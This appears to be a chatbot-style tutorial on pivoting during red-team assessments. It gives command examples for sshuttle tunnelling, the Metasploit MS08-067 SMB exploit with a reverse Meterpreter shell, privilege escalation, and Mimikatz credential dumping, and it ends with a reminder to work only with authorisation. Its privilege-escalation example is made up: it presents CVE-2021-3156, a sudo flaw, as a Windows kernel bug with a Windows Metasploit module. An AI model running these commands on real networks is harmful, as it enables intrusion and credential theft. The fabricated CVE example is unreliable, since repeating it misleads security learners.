**Explain to me with examples on how to use   
pivoting in a red teaming assessment**   
   
Pivoting is a crucial technique used in red teaming and penetration testing assessments to move from one compromised system to another within a target network. It allows a red teamer to maintain access, escalate privileges, and gather more valuable information. Here, I'll explain pivoting with examples and the tools commonly used.

**1. Initial Compromise:**   
Suppose you've already compromised a target system within the network, such as a web server.   
**2. Enumeration:**    
First, enumerate the compromised system for information that can help you pivot to other   
systems:   
 Gather information about the target network, including IP addresses, subnets, and domain names.   
 Identify open ports and services on the compromised system.   
 Extract credentials or configuration files that may provide access to other systems.   
**3. Port Forwarding:**    
One common method for pivoting is to set up port forwarding or tunneling to route traffic   
through the compromised host. Tools like sshuttle , socat , and meterpreter can be used for   
this purpose.   
Example using sshuttle :   
Suppose you've compromised a Linux -based web server and want to access a Windows file   
server on a different subnet:   
bash   
# On your attacking machine:   
sshuttle -r compromised\_user@web\_server\_ip 10.10.20.0/24   
This command creates a tunnel through the compromis ed web server, allowing you to access   
resources on the 10.10.20.0/24 network.   
**4. Exploiting Vulnerabilities:**

Use the information gathered during enumeration to identify vulnerabilities on other systems in   
the target network. Exploit these vulnerabilities t o gain access.   
Example using Metasploit:   
Suppose you've found an SMB vulnerability on a Windows server within the network. You can   
use Metasploit to exploit it:   
bash   
# Start Metasploit   
msfconsole   
   
# Exploit the vulnerability   
use exploit/windows/smb/ms08\_067\_netapi   
set RHOST <target\_ip>   
set payload windows/meterpreter/reverse\_tcp   
exploit   
Once exploited, you'll have a Meterpreter session on the target system.   
**5. Privilege Escalation:**   
If your initial access is limited, look for o pportunities to escalate privileges. This could include   
exploiting unpatched vulnerabilities, misconfigurations, or weakly protected accounts.   
Example of Privilege Escalation using Windows Kernel Exploit:   
Suppose you have low -level access to a Windows serv er but need admin privileges. You find a   
Windows kernel vulnerability (e.g., CVE -2021 -3156) and exploit it to escalate privileges:   
bash   
# Start Metasploit   
msfconsole   
   
# Exploit the Windows kernel vulnerability   
use exploit/windows/local/cve\_2021\_3156   
set SESSION <session\_id>   
exploit   
This will escalate your privileges on the compromised system.   
**6. Lateral Movement:**   
With escalated privileges, move laterally within the network to access additional systems.   
Common lateral movement techniques include pass -the-hash attacks, Mimikatz, and remote   
desktop protocol (RDP) exploitation.   
Example using Mimikatz:

Suppose you've obtained admin credentials on a Windows server. You can use Mimikatz to   
extract and reuse those credentials for lateral movement:   
bash   
# Dump creden tials with Mimikatz   
mimikatz.exe   
lsadump::sam   
lsadump::secrets   
Use the obtained credentials to access other systems in the network.   
**7. Rinse and Repeat:**    
Continue pivoting and exploring the network, maintaining access, escalating privileges, and   
moving laterally as needed to achieve your red teaming objectives.   
Remember that red teaming should always be conducted within a legal and authorized   
framework, with proper permissions from the target organization. Unauthorized access or   
malicious actions are illegal and unethical. Always follow ethical guidelines and obtain proper   
consent for penetration testing and red teaming activities.